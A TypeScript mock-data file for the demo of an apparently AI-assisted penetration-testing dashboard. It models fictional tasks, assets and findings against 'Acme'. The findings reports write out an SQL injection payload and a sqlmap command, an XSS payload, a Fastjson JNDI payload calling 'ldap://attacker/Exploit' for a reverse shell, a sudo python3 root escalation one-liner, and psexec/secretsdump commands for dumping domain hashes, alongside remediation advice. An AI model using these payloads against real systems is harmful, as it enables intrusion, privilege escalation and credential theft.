mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-11-15 04:30:55 +08:00
The approval list and detail return decided_by exactly as stored, and the decided_by filter matches that same value. Rows decided before the column existed show "Legacy" and match no decided_by filter; their decision_source stays in its own column and nothing is rewritten. UI: a "Decided by" column (Human, Rule, Model, System) and a matching filter beside the decision-source filter, including "AI-approved only" for model. Types and the API query carry decided_by the same way decision_source does.
4225 lines
139 KiB
TypeScript
4225 lines
139 KiB
TypeScript
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
|
||
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
|
||
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
|
||
// sessions/activity, traffic, agents, etc.) so every page looks populated.
|
||
|
||
import type {
|
||
Activity,
|
||
Agent,
|
||
AgentDetail,
|
||
Asset,
|
||
Audit,
|
||
Company,
|
||
Conversation,
|
||
ConvTokenSummary,
|
||
DailyTokenBucket,
|
||
Edge,
|
||
Finding,
|
||
FindingAsset,
|
||
InterceptApprovalRow,
|
||
InterceptAudit,
|
||
InterceptPending,
|
||
InterceptRule,
|
||
LLMPoolStatus,
|
||
LLMProfile,
|
||
LLMTask,
|
||
MCPServer,
|
||
MCPTool,
|
||
MissingSkill,
|
||
PromptVar,
|
||
PromptVersion,
|
||
SessionTokenUsage,
|
||
Settings,
|
||
SkillCall,
|
||
SkillItem,
|
||
Stats,
|
||
Task,
|
||
TaskCategory,
|
||
TaskNode,
|
||
TaskTemplate,
|
||
TokenTotal,
|
||
TokenUsage,
|
||
Tool,
|
||
TrafficDetail,
|
||
TrafficHost,
|
||
TrafficResp,
|
||
} from "@/lib/types";
|
||
|
||
const T = (iso: string) => iso; // readability helper for timestamps
|
||
|
||
// ── Tasks ──────────────────────────────────────────────────────────────────
|
||
export const ACTIVE_TASK = "t-acme-web";
|
||
|
||
export const tasks: Task[] = [
|
||
{
|
||
id: "t-acme-web",
|
||
category_id: 1,
|
||
category_name: "External assessment",
|
||
description: "External penetration of the Acme official site and admin (acme.com)",
|
||
goal: "Gain admin access to acme.com and confirm user sensitive data can be read.",
|
||
status: "running",
|
||
created_at: T("2026-07-24T09:12:00Z"),
|
||
created_unix: 1785489120,
|
||
last_activity: T("2026-07-26T03:58:22Z"),
|
||
last_activity_unix: 1785643102,
|
||
paused: false,
|
||
active: true,
|
||
in_flight: 3,
|
||
findings: { critical: 1, high: 2, medium: 1, low: 0 },
|
||
stalled: false,
|
||
goals_total: 5,
|
||
goals_met: 2,
|
||
engine_mode: "exploring",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1, 2],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: [],
|
||
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
|
||
},
|
||
{
|
||
id: "t-acme-api",
|
||
category_id: 2,
|
||
category_name: "API focus",
|
||
description: "Authorization bypass and injection testing on api.acme.com",
|
||
goal: "Assess authorization bypass (IDOR) and injection risks on the api.acme.com order/user APIs.",
|
||
status: "running",
|
||
created_at: T("2026-07-25T14:05:00Z"),
|
||
created_unix: 1785592500,
|
||
last_activity: T("2026-07-26T03:40:10Z"),
|
||
last_activity_unix: 1785642010,
|
||
paused: false,
|
||
active: false,
|
||
in_flight: 2,
|
||
findings: { critical: 0, high: 1, medium: 1, low: 0 },
|
||
stalled: false,
|
||
goals_total: 4,
|
||
goals_met: 1,
|
||
engine_mode: "exploring",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1, 2],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: ["t-acme-web"],
|
||
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
|
||
},
|
||
{
|
||
id: "t-shop-pay",
|
||
category_id: 2,
|
||
category_name: "API focus",
|
||
description: "shop.acme.com payment and order flows",
|
||
goal: "Assess authorization bypass, amount tampering and race condition risks on the payment and order APIs.",
|
||
status: "paused",
|
||
created_at: T("2026-07-22T08:30:00Z"),
|
||
created_unix: 1785313800,
|
||
last_activity: T("2026-07-23T18:40:10Z"),
|
||
last_activity_unix: 1785436810,
|
||
paused: true,
|
||
active: false,
|
||
in_flight: 0,
|
||
stalled: false,
|
||
goals_total: 4,
|
||
goals_met: 1,
|
||
engine_mode: "paused",
|
||
llm_profile_id: 2,
|
||
llm_profile_ids: [2, 1],
|
||
active_llm_profile_id: 2,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: ["t-acme-web", "t-acme-api"],
|
||
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
|
||
},
|
||
{
|
||
id: "t-vpn-edge",
|
||
category_id: 1,
|
||
category_name: "External assessment",
|
||
description: "External attack surface reconnaissance (VPN / perimeter services)",
|
||
goal: "Identify exploitable perimeter services exposed by acme.com.",
|
||
status: "done",
|
||
created_at: T("2026-07-18T08:00:00Z"),
|
||
created_unix: 1784966400,
|
||
completed_at: T("2026-07-20T22:11:00Z"),
|
||
completed_unix: 1785190260,
|
||
last_activity: T("2026-07-20T22:11:00Z"),
|
||
last_activity_unix: 1785190260,
|
||
paused: false,
|
||
active: false,
|
||
in_flight: 0,
|
||
stalled: false,
|
||
goals_total: 3,
|
||
goals_met: 3,
|
||
engine_mode: "idle",
|
||
llm_profile_id: 1,
|
||
llm_profile_ids: [1],
|
||
active_llm_profile_id: 1,
|
||
llm_failover_state: "ready",
|
||
source_task_ids: [],
|
||
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
|
||
},
|
||
];
|
||
|
||
export const taskCategories: TaskCategory[] = [
|
||
{
|
||
id: 1,
|
||
name: "External assessment",
|
||
task_count: 2,
|
||
created_at: T("2026-07-18T08:00:00Z"),
|
||
updated_at: T("2026-07-25T08:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "API focus",
|
||
task_count: 2,
|
||
created_at: T("2026-07-19T08:00:00Z"),
|
||
updated_at: T("2026-07-24T08:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const taskTemplates: TaskTemplate[] = [
|
||
{
|
||
id: 1,
|
||
name: "External web penetration",
|
||
description: "Black-box penetration testing of the target's internet-facing exposure, covering sites, APIs and common admin entry points.",
|
||
goal: "Identify and verify security issues that could lead to unauthorized access, sensitive data exposure or server compromise.",
|
||
created_at: T("2026-07-20T08:00:00Z"),
|
||
updated_at: T("2026-07-25T08:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "API authorization bypass focus",
|
||
description: "Focused testing of the target API's authentication, object-level authorization and role boundaries.",
|
||
goal: "Confirm whether IDOR, horizontal and vertical privilege escalation, and bulk data access risks exist.",
|
||
created_at: T("2026-07-19T08:00:00Z"),
|
||
updated_at: T("2026-07-24T08:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const getTask = (id: string) => tasks.find((t) => t.id === id);
|
||
|
||
const grandTotal: TokenTotal = tasks.reduce(
|
||
(a, t) => ({
|
||
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
|
||
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
|
||
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
|
||
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
|
||
}),
|
||
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
|
||
);
|
||
|
||
// ── Stats ──────────────────────────────────────────────────────────────────
|
||
export function stats(
|
||
taskId?: string,
|
||
state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {},
|
||
): Stats & { active_task?: unknown } {
|
||
const taskList = state.tasks ?? tasks;
|
||
const findingList = state.findings ?? findings;
|
||
const base: Stats = {
|
||
assets: assets.length,
|
||
engine_mode: "exploring",
|
||
llm_configured: true,
|
||
roe_enabled: true,
|
||
findings_confirmed: findingList.filter((f) => f.severity !== "low").length,
|
||
};
|
||
const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK;
|
||
const t = taskList.find((item) => item.id === selectedTaskID);
|
||
if (!t) return base;
|
||
return {
|
||
...base,
|
||
engine_mode: t.engine_mode ?? "idle",
|
||
findings_confirmed: findingList.filter((f) => f.task_id === t.id).length,
|
||
active_task: {
|
||
id: t.id,
|
||
in_flight: t.in_flight,
|
||
goals_total: t.goals_total,
|
||
goals_met: t.goals_met,
|
||
engine_mode: t.engine_mode,
|
||
paused: t.paused,
|
||
},
|
||
};
|
||
}
|
||
|
||
// ── Company + Assets (new unified model) ─────────────────────────────────────
|
||
export const companies: Company[] = [
|
||
{
|
||
id: 1,
|
||
name: "Acme Corp",
|
||
logo: "",
|
||
asset_count: 18,
|
||
scope: [
|
||
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "primary domain" },
|
||
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
|
||
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
|
||
],
|
||
},
|
||
];
|
||
|
||
export const assets: Asset[] = [
|
||
{
|
||
id: 1,
|
||
type: "root_domain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "acme.com",
|
||
root_domain: "acme.com",
|
||
icp: "Beijing ICP filing 2021xxxx",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.10"],
|
||
last_seen: T("2026-07-26T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "www.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "CNAME",
|
||
record_value: "acme.com",
|
||
last_seen: T("2026-07-26T02:01:00Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
domain: "api.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.11"],
|
||
last_seen: T("2026-07-26T02:02:00Z"),
|
||
},
|
||
{
|
||
id: 4,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [3],
|
||
domain: "shop.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.12"],
|
||
last_seen: T("2026-07-26T02:03:00Z"),
|
||
},
|
||
{
|
||
id: 5,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
domain: "vpn.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["198.51.100.20"],
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 6,
|
||
type: "subdomain",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
domain: "admin.acme.com",
|
||
root_domain: "acme.com",
|
||
record_type: "A",
|
||
record_value: ["203.0.113.10"],
|
||
last_seen: T("2026-07-26T02:04:00Z"),
|
||
},
|
||
{
|
||
id: 7,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1, 2],
|
||
ip: "203.0.113.10",
|
||
c_segment: "203.0.113.0",
|
||
open_ports: [
|
||
{ port: 80, service: "http" },
|
||
{ port: 443, service: "https" },
|
||
{ port: 22, service: "ssh" },
|
||
],
|
||
last_seen: T("2026-07-26T02:05:00Z"),
|
||
},
|
||
{
|
||
id: 8,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
ip: "203.0.113.11",
|
||
c_segment: "203.0.113.0",
|
||
open_ports: [{ port: 443, service: "https" }],
|
||
last_seen: T("2026-07-26T02:06:00Z"),
|
||
},
|
||
{
|
||
id: 9,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
ip: "198.51.100.20",
|
||
c_segment: "198.51.100.0",
|
||
open_ports: [
|
||
{ port: 443, service: "https" },
|
||
{ port: 500, service: " isakmp" },
|
||
],
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 10,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "203.0.113.10",
|
||
port: 443,
|
||
service_type: "https",
|
||
service_name: "nginx/1.24.0",
|
||
last_seen: T("2026-07-26T02:07:00Z"),
|
||
},
|
||
{
|
||
id: 11,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [4],
|
||
ip: "198.51.100.20",
|
||
port: 22,
|
||
service_type: "ssh",
|
||
service_name: "OpenSSH 8.9p1",
|
||
last_seen: T("2026-07-20T02:00:00Z"),
|
||
},
|
||
{
|
||
id: 12,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://www.acme.com",
|
||
app_name: "Acme official site",
|
||
category: "corp",
|
||
status_code: 200,
|
||
content_length: 48213,
|
||
page_title: "Acme Corp — Official Website",
|
||
technologies: ["Nginx", "React", "Cloudflare"],
|
||
favicon_mmh3: "-1580860059",
|
||
last_seen: T("2026-07-26T02:08:00Z"),
|
||
},
|
||
{
|
||
id: 13,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://admin.acme.com",
|
||
app_name: "Admin console",
|
||
category: "admin",
|
||
status_code: 200,
|
||
content_length: 12044,
|
||
page_title: "Acme Admin Login",
|
||
technologies: ["Nginx", "Vue", "Element-UI"],
|
||
last_seen: T("2026-07-26T02:09:00Z"),
|
||
},
|
||
{
|
||
id: 14,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com",
|
||
app_name: "REST API",
|
||
category: "api",
|
||
status_code: 401,
|
||
content_length: 45,
|
||
page_title: "",
|
||
technologies: ["Kong", "Node.js"],
|
||
last_seen: T("2026-07-26T02:10:00Z"),
|
||
},
|
||
{
|
||
id: 15,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com/v1/orders",
|
||
method: "GET",
|
||
status_code: 200,
|
||
params: [
|
||
{ name: "id", in: "query" },
|
||
{ name: "page", in: "query" },
|
||
],
|
||
last_seen: T("2026-07-26T02:11:00Z"),
|
||
},
|
||
{
|
||
id: 16,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [2],
|
||
url: "https://api.acme.com/v1/users/me",
|
||
method: "GET",
|
||
status_code: 200,
|
||
last_seen: T("2026-07-26T02:12:00Z"),
|
||
},
|
||
{
|
||
id: 17,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://admin.acme.com/login",
|
||
method: "POST",
|
||
status_code: 200,
|
||
params: [{ name: "username" }, { name: "password" }],
|
||
last_seen: T("2026-07-26T02:13:00Z"),
|
||
},
|
||
{
|
||
id: 18,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "https://www.acme.com/search",
|
||
method: "GET",
|
||
status_code: 200,
|
||
params: [{ name: "q", in: "query" }],
|
||
last_seen: T("2026-07-26T02:14:00Z"),
|
||
},
|
||
// Internal assets (DMZ → internal lateral discovery)
|
||
{
|
||
id: 19,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.0.20.15",
|
||
c_segment: "10.0.20.0",
|
||
open_ports: [
|
||
{ port: 80, service: "http" },
|
||
{ port: 22, service: "ssh" },
|
||
],
|
||
last_seen: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: 20,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.10",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [
|
||
{ port: 88, service: "kerberos" },
|
||
{ port: 389, service: "ldap" },
|
||
{ port: 445, service: "smb" },
|
||
],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 21,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.5",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [{ port: 445, service: "smb" }],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 22,
|
||
type: "ip",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.20",
|
||
c_segment: "10.10.10.0",
|
||
open_ports: [{ port: 8080, service: "http-proxy" }],
|
||
last_seen: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: 23,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.20",
|
||
port: 8080,
|
||
service_type: "http",
|
||
service_name: "Jenkins 2.289",
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
{
|
||
id: 24,
|
||
type: "service",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
ip: "10.10.10.10",
|
||
port: 445,
|
||
service_type: "smb",
|
||
service_name: "Windows Server 2019 DC",
|
||
last_seen: T("2026-07-25T23:55:00Z"),
|
||
},
|
||
{
|
||
id: 25,
|
||
type: "app",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "http://10.10.10.20:8080",
|
||
app_name: "Jenkins (internal)",
|
||
category: "ci",
|
||
status_code: 200,
|
||
content_length: 14200,
|
||
page_title: "Jenkins Dashboard",
|
||
technologies: ["Jenkins", "Java"],
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
{
|
||
id: 26,
|
||
type: "endpoint",
|
||
company_id: 1,
|
||
task_ids: [1],
|
||
url: "http://10.10.10.20:8080/script",
|
||
method: "GET",
|
||
status_code: 200,
|
||
last_seen: T("2026-07-25T21:35:00Z"),
|
||
},
|
||
];
|
||
|
||
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
|
||
m[a.type] = (m[a.type] ?? 0) + 1;
|
||
return m;
|
||
}, {});
|
||
|
||
// assetRef turns an asset id into the asset reference attached to a finding (label follows the same
|
||
// priority order as the backend coverageNodeLabel: URL > domain > IP > app name). The "By asset" view's tree relies on these references
|
||
// to attach findings to assets.
|
||
function assetRef(id: number): FindingAsset {
|
||
const asset = assets.find((candidate) => candidate.id === id);
|
||
if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`);
|
||
return {
|
||
id: String(id),
|
||
type: asset.type,
|
||
label: asset.url || asset.domain || asset.ip || asset.app_name || String(id),
|
||
};
|
||
}
|
||
|
||
// ── Findings ─────────────────────────────────────────────────────────────────
|
||
export const findings: Finding[] = [
|
||
{
|
||
id: "f-1",
|
||
assets: [assetRef(18)],
|
||
vulnclass: "SQL Injection",
|
||
name: "Error-based SQL injection in the site search API",
|
||
severity: "high",
|
||
status: "pending",
|
||
report:
|
||
'## Vulnerability Overview\n\n`www.acme.com/search` has **error-based SQL injection** (MSSQL) in the `q` parameter, allowing reads of the database version, schema and even sensitive data.\n\n## Impact\n\n- The table structure and user/order data of the `acme_prod` database can be read\n- Error echo makes it quick to build exploits; high risk\n\n## Reproduction Steps\n\n1. Trigger the error-based injection:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. The response echoes the MSSQL version error, confirming injectability\n3. Enumerate databases further: `sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## Remediation\n\n- Switch everything to parameterized queries / prepared statements and eliminate string concatenation\n- Disable verbose error echo in production\n- Least privilege for the database account; disable dangerous extensions such as `xp_cmdshell`\n',
|
||
summary: "Error-based SQL injection in the q parameter of www.acme.com/search",
|
||
evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → returns an MSSQL version error; the schema can be read.",
|
||
intent_id: "i-2",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-2",
|
||
assets: [assetRef(15)],
|
||
vulnclass: "IDOR",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "api.acme.com/v1/orders?id= can read other users' orders without authorization",
|
||
evidence: "Changing id=1001 to id=1002 returns another user's order (including shipping address and phone number); no ownership check.",
|
||
intent_id: "i-5",
|
||
task_id: "t-acme-api",
|
||
task_description: "Authorization bypass and injection testing on api.acme.com",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
},
|
||
{
|
||
id: "f-3",
|
||
assets: [assetRef(3)],
|
||
vulnclass: "Weak JWT",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "API JWT uses a weak key and can be cracked offline to forge tokens",
|
||
evidence: "HS256 with the key 'secret'; john cracks it in 5 seconds → any sub can be forged to bypass authorization.",
|
||
task_id: "t-acme-api",
|
||
task_description: "Authorization bypass and injection testing on api.acme.com",
|
||
ts: T("2026-07-26T03:02:00Z"),
|
||
},
|
||
{
|
||
id: "f-4",
|
||
assets: [assetRef(18)],
|
||
vulnclass: "Reflected XSS",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "Search page does not escape the q parameter; reflected XSS",
|
||
evidence: "q=<script>alert(document.domain)</script> is echoed verbatim in the result title.",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T22:10:00Z"),
|
||
},
|
||
{
|
||
id: "f-5",
|
||
assets: [assetRef(2)],
|
||
vulnclass: "Exposed .git",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "www.acme.com exposes the .git directory; source code can be recovered",
|
||
evidence: "GET /.git/HEAD → 200; git-dumper recovered the backend source with a commented database connection string.",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
},
|
||
{
|
||
id: "f-6",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Default Credentials",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "admin.acme.com admin console uses the default credentials admin/admin123",
|
||
evidence: "Login succeeded, entered the admin console, and can manage users and orders.",
|
||
intent_id: "i-3",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
},
|
||
{
|
||
id: "f-7",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Open Redirect",
|
||
severity: "low",
|
||
status: "pending",
|
||
summary: "The next parameter after login allows arbitrary redirects",
|
||
evidence: "/login?next=https://evil.example redirects 302 to an external site after login.",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T19:12:00Z"),
|
||
},
|
||
{
|
||
id: "f-8",
|
||
assets: [assetRef(17)],
|
||
vulnclass: "Missing Rate Limit",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "Login endpoint has no rate limit and can be brute-forced",
|
||
evidence: "1000 attempts/minute with no lockout and no captcha.",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T18:40:00Z"),
|
||
},
|
||
{
|
||
id: "f-9",
|
||
assets: [assetRef(16)],
|
||
vulnclass: "Verbose Error",
|
||
severity: "low",
|
||
status: "pending",
|
||
summary: "API 500 returns a stack trace, leaking paths and framework versions",
|
||
evidence: "A triggered 500 returned a Node.js stack trace, leaking absolute paths and dependency versions.",
|
||
task_id: "t-acme-api",
|
||
task_description: "Authorization bypass and injection testing on api.acme.com",
|
||
ts: T("2026-07-25T23:05:00Z"),
|
||
},
|
||
{
|
||
id: "f-10",
|
||
assets: [assetRef(4)],
|
||
vulnclass: "Outdated Component",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "shop uses an outdated component with a known RCE",
|
||
evidence: "Fingerprinting identified component v2.3.1, matching the CVE-2024-xxxx deserialization RCE.",
|
||
task_id: "t-shop-pay",
|
||
task_description: "shop.acme.com payment and order flows",
|
||
ts: T("2026-07-23T15:00:00Z"),
|
||
},
|
||
// ── High findings along the external→internal kill chain (active task) ──
|
||
{
|
||
id: "f-11",
|
||
vulnclass: "Hardcoded Credentials",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "Hardcoded database credentials sa/Acme@2021 in the leaked source",
|
||
evidence: "git-dumper recovered www.acme.com/.git and obtained config.php containing a plaintext DB password, later confirmed to be reusable internally.",
|
||
intent_id: "ig",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
},
|
||
{
|
||
id: "f-12",
|
||
assets: [assetRef(4)],
|
||
vulnclass: "Deserialization RCE",
|
||
name: "Fastjson deserialization remote command execution on the shop mall",
|
||
severity: "critical",
|
||
status: "confirmed",
|
||
report:
|
||
'## Vulnerability Overview\n\nThe `/api/import` endpoint of `shop.acme.com` uses **Fastjson 1.2.24** to parse user-controlled JSON without `safeMode` enabled; an attacker can designate an arbitrary class via `@type` to trigger **JNDI injection → remote command execution**.\n\n## Impact\n\n- An unauthenticated attacker can execute arbitrary commands on the DMZ web server (`www-data@dmz-web01`)\n- Combined with later privilege escalation, it becomes a foothold into the internal network\n\n## Reproduction Steps\n\n1. Build the JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. The target calls back to dnslog and a reverse shell lands\n\n## Remediation\n\n- Upgrade Fastjson to **1.2.83+** and enable `safeMode`\n- Add authentication and origin validation to `/api/import`\n- Egress restriction: forbid business servers from initiating LDAP/RMI connections\n',
|
||
summary: "Fastjson 1.2.24 deserialization remote command execution on shop.acme.com",
|
||
evidence:
|
||
"POST /api/import with a JNDI payload (@type:JdbcRowSetImpl) → calls back to dnslog and lands a reverse shell (www-data@dmz-web01).",
|
||
intent_id: "i7",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
},
|
||
{
|
||
id: "f-13",
|
||
assets: [assetRef(19)],
|
||
vulnclass: "Privilege Escalation",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "DMZ foothold sudo NOPASSWD misconfiguration allows local privilege escalation to root",
|
||
evidence:
|
||
"sudo -l shows (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' gets root directly.",
|
||
intent_id: "i8",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-14",
|
||
assets: [assetRef(19), assetRef(21)],
|
||
vulnclass: "Network Segmentation",
|
||
severity: "medium",
|
||
status: "pending",
|
||
summary: "DMZ host has dual NICs directly connected to the internal network; perimeter isolation is broken",
|
||
evidence: "dmz-web01's second NIC is on 10.10.10.0/24 and can reach the domain controller/file server/Jenkins directly from the DMZ, bypassing network segmentation.",
|
||
intent_id: "i9",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
},
|
||
{
|
||
id: "f-15",
|
||
assets: [assetRef(26)],
|
||
vulnclass: "Unauthenticated RCE",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "Unauthenticated Script Console remote command execution on the internal Jenkins",
|
||
evidence:
|
||
"GET /script executes Groovy without login: 'whoami'.execute().text → SYSTEM; also exported the domain account acme\\svc_deploy from the credentials store.",
|
||
intent_id: "i11",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
},
|
||
{
|
||
id: "f-16",
|
||
assets: [assetRef(21)],
|
||
vulnclass: "Kerberoasting",
|
||
severity: "high",
|
||
status: "pending",
|
||
summary: "Domain service account svc_sql is Kerberoastable with a weak password",
|
||
evidence: "GetUserSPNs requested svc_sql's TGS; hashcat -m 13100 cracked Sql@2020 offline; the account is in the SQL admin group.",
|
||
intent_id: "i12",
|
||
task_id: "t-acme-web",
|
||
task_description: "External penetration of the Acme official site and admin",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
},
|
||
{
|
||
id: "f-17",
|
||
assets: [assetRef(20)],
|
||
vulnclass: "Domain Compromise",
|
||
name: "Full control of the internal domain controller DC01 (Domain Admin)",
|
||
severity: "critical",
|
||
status: "confirmed",
|
||
report:
|
||
"## Vulnerability Overview\n\nA DMZ foothold was gained via the external Fastjson RCE, then sudo privilege escalation, dual-NIC traversal and the unauthenticated Jenkins RCE yielded the domain account `svc_deploy`; the account belongs to **Domain Admins**, giving full control of the domain controller **DC01**.\n\n## Impact\n\n- Domain administrator access obtained; all hosts and accounts in the domain can be controlled\n- `secretsdump` exported the whole domain's NTLM hashes (including `krbtgt`), enabling golden tickets for long-term persistence\n- Internal target met\n\n## Reproduction Steps\n\n1. Log in as `svc_deploy` and export hashes:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. Obtain SYSTEM on DC01 and export every hash in the domain\n\n## Remediation\n\n- Trim service account privileges, move them out of Domain Admins, and enforce tiering\n- Reset `krbtgt` twice in a row and rotate service account passwords to strong ones\n- Fix the DMZ→internal perimeter isolation and the RCE/privilege escalation chain above\n",
|
||
summary: "Domain controller DC01 taken (Domain Admin) — internal target met",
|
||
evidence:
|
||
